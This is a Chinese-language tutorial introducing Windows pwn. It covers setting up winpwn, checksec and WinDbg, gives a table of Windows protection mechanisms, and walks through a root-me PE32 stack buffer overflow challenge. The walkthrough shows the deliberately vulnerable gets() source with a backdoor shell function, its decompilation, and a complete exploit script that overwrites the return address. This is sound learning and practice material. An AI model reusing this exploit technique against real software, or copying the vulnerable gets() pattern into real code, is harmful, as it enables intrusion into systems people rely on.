win pwn初探(一)
字数 1394 2025-08-26 22:11:51
Windows Pwn 初探(一)教学文档
环境搭建
硬件与系统环境
- 本机环境:M1 Pro芯片
- 虚拟机环境:Parallels Desktop 17 + Windows 11专业版(21H2)
- 兼容性:ARM Windows可运行x32和x64程序
必要工具安装
1. Checksec工具
- 问题:winchecksec安装存在环境问题
- 解决方案:使用替代项目
checksec.exe - 获取方式:从GitHub Releases下载可执行文件
2. WinPwn工具
- 功能:类似Linux下的pwntools
- 安装命令:
pip3 install winpwn pip3 install pefile pip3 install keystone-engine pip3 install capstone - 使用:
from winpwn import *
3. 调试工具
- 推荐工具:Windbg(可通过Microsoft Store安装)
- 替代工具:Ollydbg、x32dbg、x64dbg
Windows保护机制详解
通过测试程序分析保护机制(使用VS2022 Preview默认编译x64 exe):
#include <stdio.h>
int main(int argc, char** argv) {
printf("hello world");
return 0;
}
使用.\checksec.exe检测结果:
| 保护名称 | Windows对应机制 | 描述 |
|---|---|---|
| NX | DEP(数据执行保护) | 堆栈不可执行保护 |
| Canary | GS | 栈保护(检测可能不准确) |
| ASLR | 地址空间布局随机化 | 随机化exe和dll地址,催生Heap Spray技术 |
| Dynamic Base | /DYNAMICBASE编译选项 | 控制是否启用ASLR |
| High Entropy VA | 高熵地址空间 | 64位进程使用更大的地址空间随机化 |
| SEH | 结构化异常处理 | Windows系统级错误处理机制 |
| SafeSEH | 安全SEH | 验证异常处理函数有效性 |
| Force Integrity | 强制签名 | 要求代码签名 |
| Control Flow Guard | CFG | 限制代码执行来源,防内存破坏 |
| Isolation | 隔离保护 | 默认启用 |
| Authenticode | 数字签名 | 验证代码来源可信度 |
初探栈溢出实战
示例程序分析
- 来源:root-me PE32 - Stack buffer overflow basic
- 源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>
#define DEFAULT_LEN 16
void admin_shell(void) {
system("C:\\Windows\\system32\\cmd.exe");
}
int main(void) {
char buff[DEFAULT_LEN] = {0};
gets(buff);
for (int i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}
IDA逆向分析
int __cdecl main(int argc, const char **argv, const char **envp) {
char buf[15]; // [esp+0h] [ebp-14h] BYREF
char v5; // [esp+Fh] [ebp-5h]
int i; // [esp+10h] [ebp-4h]
memset(buf, 0, sizeof(buf));
v5 = 0;
gets(buf); // 漏洞点
for ( i = 0; i < 16; ++i )
buf[i] = toupper(buf[i]);
printf("%s\n", buf);
return 0;
}
漏洞利用
- 后门函数地址:0x401000
- 偏移计算:ebp-14h → 0x14字节
- payload构造:
- 填充:0x14字节 + 4字节(覆盖返回地址)
- 目标地址:0x401000
完整EXP
from winpwn import *
from time import *
context.log_level='debug'
context.arch='i386'
file_name = './ch72.exe'
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc') # 触发计算器
r.interactive()
关键知识点总结
- 环境差异:Windows Pwn工具链与Linux不同,需要专门工具
- 保护机制:Windows的保护机制比Linux更多且复杂
- 调试选择:Windbg是Windows漏洞分析的主流工具
- 基础利用:栈溢出原理与Linux类似,但实现细节不同
- 后续学习:
- Windows调试技术
- 各种保护机制的绕过方法
- 使用pwntools编写Windows exploit
参考资源
注:本文档已过滤无关描述,保留所有技术关键点,可作为Windows Pwn入门教学的完整参考。